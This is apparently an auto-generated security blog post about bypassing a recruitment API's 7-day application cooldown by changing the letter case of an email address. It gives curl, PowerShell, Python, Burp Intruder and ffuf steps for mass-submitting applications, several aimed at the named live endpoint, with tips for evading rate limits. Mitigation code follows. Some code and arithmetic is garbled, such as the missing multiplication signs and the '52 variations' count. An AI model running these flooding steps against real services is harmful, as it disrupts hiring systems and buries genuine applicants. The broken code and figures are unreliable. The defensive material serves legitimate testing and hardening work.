Listen to this Post

Introduction:
Business logic errors are among the most dangerous vulnerabilities because they abuse legitimate application features in unintended ways. Unlike SQL injection or XSS, a case normalization flaw—where the system treats `[email protected]` and `[email protected]` as different email addresses—can silently bypass rate limiting, duplicate protection, and unique constraints, turning a recruitment portal into a spammer’s paradise.
Learning Objectives:
- Understand how email case normalization failures create business logic vulnerabilities.
- Learn to reproduce and exploit case-based bypasses using API testing tools and custom scripts.
- Implement server-side normalization, composite key constraints, and anti-automation controls to mitigate this flaw.
You Should Know:
- Understanding the Business Logic Flaw: Email Case as a Bypass Token
The post demonstrates a classic business logic vulnerability: the API endpoint `/en/api/common/sendVacancyApplyForm` enforces a 7-day cooldown based on the raw email string, but does not normalize case before checking. Changing `[email protected]` to `[email protected]` is treated as a completely new applicant, allowing unlimited submissions.
Step‑by‑step guide to understanding the flaw:
- First submission – A POST request with `”email”:”[email protected]”` succeeds and sets a server-side cooldown record keyed by the exact string.
- Second submission (same email) – Returns error `”You will be able to submit a new application in 7 days.”`
3. Bypass attempt – Resend the same request but change case anywhere in the local-part: `”email”:”[email protected]”`
4. Success – The server accepts it as a new user because `”[email protected]” != “[email protected]”` in its lookup.
Linux command to test manually:
First submission
curl -X POST https://subs.hiring.redaction.uk/en/api/common/sendVacancyApplyForm \
-H "Content-Type: application/json" \
-d '{"vacancyId":39,"lastName":"KH","firstName":"Sans","email":"[email protected]","phone":{"code":62,"number":888666777}}'
Bypass with case change
curl -X POST https://subs.hiring.redaction.uk/en/api/common/sendVacancyApplyForm \
-H "Content-Type: application/json" \
-d '{"vacancyId":39,"lastName":"KH","firstName":"Sans","email":"[email protected]","phone":{"code":62,"number":888666777}}'
Windows PowerShell alternative:
$body = @{vacancyId=39; lastName="KH"; firstName="Sans"; email="[email protected]"; phone=@{code=62; number=888666777}} | ConvertTo-Json
Invoke-RestMethod -Uri "https://subs.hiring.redaction.uk/en/api/common/sendVacancyApplyForm" -Method Post -Body $body -ContentType "application/json"
Change email to "[email protected]" and re-run
2. Reproducing the Vulnerability in a Lab Environment
To safely replicate this flaw, set up a minimal Node.js/Express API that mimics the broken behavior, then write an exploit script.
Vulnerable server code (do not use in production):
// app.js
const express = require('express');
const app = express();
app.use(express.json());
let cooldownStore = new Map(); // key = raw email, value = timestamp
app.post('/sendVacancyApplyForm', (req, res) => {
const { email } = req.body;
const lastSubmit = cooldownStore.get(email);
if (lastSubmit && (Date.now() - lastSubmit) < 7 24 60 60 1000) {
return res.json({ success: false, error: { message: "You will be able to submit a new application in 7 days.", code: "1206" }});
}
cooldownStore.set(email, Date.now());
res.json({ success: true, result: true, error: false });
});
app.listen(3000);
Python exploit to cycle case permutations:
import requests
import itertools
email_local = "test"
domain = "@gmail.com"
base_url = "http://localhost:3000/sendVacancyApplyForm"
Generate case variants: tEsT, TeSt, TEST, etc.
case_variants = set(''.join(c) for c in itertools.product([(ch.lower(), ch.upper()) for ch in email_local]))
for variant in case_variants:
payload = {
"vacancyId": 39,
"lastName": "KH",
"firstName": "Sans",
"email": variant + domain,
"phone": {"code": 62, "number": 888666777}
}
resp = requests.post(base_url, json=payload)
print(f"{variant + domain} -> {resp.json()}")
3. Advanced Exploitation: Automating Mass Application Submissions
Attackers can scale this flaw to thousands of submissions using Burp Suite Intruder or a custom fuzzer.
Burp Suite Intruder setup:
1. Capture the `POST /en/api/common/sendVacancyApplyForm` request.
- Send to Intruder, position payload on the `email` field value.
- Payload type: Case modification (Burp Professional) or Brute force with a wordlist of common case variations (e.g.,
Email,eMail,emAIl). - Set resource pool threads to 50 to bypass any IP‑based rate limiting.
- Run – each variation bypasses the 7‑day cooldown.
Using ffuf with a case‑mutation wordlist:
Generate wordlist of 'test' case variants
echo "test" | hashcat -r /usr/share/hashcat/rules/toggle-case.rule --stdout > case_wordlist.txt
Fuzz the API
ffuf -u https://subs.hiring.redaction.uk/en/api/common/sendVacancyApplyForm \
-X POST -H "Content-Type: application/json" \
-d '{"vacancyId":39,"lastName":"KH","firstName":"Sans","email":"[email protected]","phone":{"code":62,"number":888666777}}' \
-w case_wordlist.txt -fc 429
4. Real-World Impacts on Recruitment Systems
The post correctly identifies five severe consequences, but the technical depth reveals additional systemic risks:
- Database corruption: Without a case‑insensitive unique index, `SELECT COUNT() FROM applicants WHERE email ILIKE ‘%gmail.com%’` returns inflated numbers, breaking analytics.
- Application‑level DoS: A script changing one character per request can submit 52 variations of `[email protected]` (2^5 for ‘a’ alone) – realistically thousands per minute, overloading HR dashboards.
- Competitor sabotage: Attackers can flood competing job listings with fake applications, forcing recruiters to manually filter or ignore legitimate candidates.
Mitigation query example (PostgreSQL):
-- Add a case‑insensitive unique constraint CREATE UNIQUE INDEX idx_unique_email_case_insensitive ON applicants (LOWER(email)); -- Or use CITEXT extension CREATE EXTENSION IF NOT EXISTS CITEXT; ALTER TABLE applicants ADD COLUMN email_ci CITEXT; UPDATE applicants SET email_ci = email; ALTER TABLE applicants ADD UNIQUE (email_ci);
5. Mitigation Strategies: Input Normalization and Anti-Automation
Fixing this flaw requires both immediate code changes and defense‑in‑depth controls.
Step‑by‑step guide to harden the API:
- Normalize email to lowercase on the server before any logic:
// Fixed server code const normalizedEmail = req.body.email.toLowerCase(); const lastSubmit = cooldownStore.get(normalizedEmail);
- Create a composite key combining `vacancyId` + `normalizedEmail` to prevent re‑applications across different vacancies.
- Implement a sliding window rate limiter keyed by normalized email + client IP (using
express-rate-limit):const rateLimit = require('express-rate-limit'); const applyLimiter = rateLimit({ windowMs: 15 60 1000, // 15 minutes max: 3, keyGenerator: (req) => `${req.body.email.toLowerCase()}-${req.ip}` }); app.post('/sendVacancyApplyForm', applyLimiter, handler); - Add a CAPTCHA (reCAPTCHA v3 or hCaptcha) after the first submission per session.
- Deploy Web Application Firewall rules to detect high‑frequency case variation patterns (e.g., Cloudflare WAF with custom rule: `(http.request.uri.path eq “/sendVacancyApplyForm”) and (http.request.body.raw contains “(?i:[A-Z])”)` but careful – better to inspect distinct case permutations per IP).
6. API Security Hardening for Similar Endpoints
This flaw belongs to OWASP API Security Top 10: API8:2023 – Lack of Protection from Automated Threats and API4:2023 – Unrestricted Resource Consumption.
Hardening checklist:
- Idempotency keys – Require a client‑generated `Idempotency-Key` header stored for 7 days; reject duplicate keys.
- Request fingerprinting – Hash (normalized email + vacancyId + IP + User‑Agent) and reject duplicates within the cooldown window.
- GraphQL cost analysis – If the API later moves to GraphQL, enforce query depth and cost limits to prevent batch submissions.
Cloudflare WAF custom rule example (pseudo):
{
"action": "block",
"expression": "http.request.method eq \"POST\" and http.request.uri.path contains \"/sendVacancyApplyForm\" and http.request.body.raw matches \"([a-z])([A-Z])\" and cf.threat_score > 10"
}
7. Lessons for Developers and Penetration Testers
For developers: Never trust client‑side case preservation. Always normalize emails, usernames, and any string used as a unique key before storage or rate limiting.
For penetration testers: Add case variation fuzzing to your business logic test suite. Tools like `Burp Suite’s Intruder – Payload type “Case substitution”` or `ffuf + hashcat rule toggle‑case.rule` are must‑haves.
Sample OWASP ASVS compliance check:
- Verify that the application treats case‑insensitive identifiers (emails, usernames) as equivalent for rate limiting and duplicate prevention (V3.3.2).
- Verify that input normalization occurs on the trusted server side, not only client‑side (V5.1.5).
What Undercode Say:
- Business logic errors are harder to automate detection for but easier to manually discover – always examine how the application enforces “uniqueness.”
- Email case normalization is not just about login security – it affects rate limiting, analytics, and database integrity across all modules.
- Mitigation must be layered: server‑side lowercase conversion + composite keys + rate limiting by normalized value – one control alone is insufficient.
- The recruitment API in the post likely passes through multiple microservices; a single normalization failure in one service poisons the entire pipeline.
- Organizations should run adversarial case‑fuzzing campaigns on all endpoints that accept email or username parameters, especially after feature updates as the tip says.
Prediction:
As more companies adopt AI‑driven applicant tracking systems that rely on clean, deduplicated data, business logic flaws like case normalization failure will be weaponized to poison training datasets. Attackers will submit thousands of case‑varied applications to manipulate AI ranking algorithms – causing qualified candidates to be filtered out while spam rises to the top. Future recruitment APIs will likely enforce strict RFC 5321 normalization (local‑part case sensitivity is actually allowed, but most systems ignore this nuance) and move to decentralized identity (DID) or verified email tokens to eliminate string‑based deduplication entirely. Additionally, AI fuzzers trained on API schemas will automatically detect case‑handling inconsistencies, shifting vulnerability discovery from manual to fully automated.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sans1986 Business – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


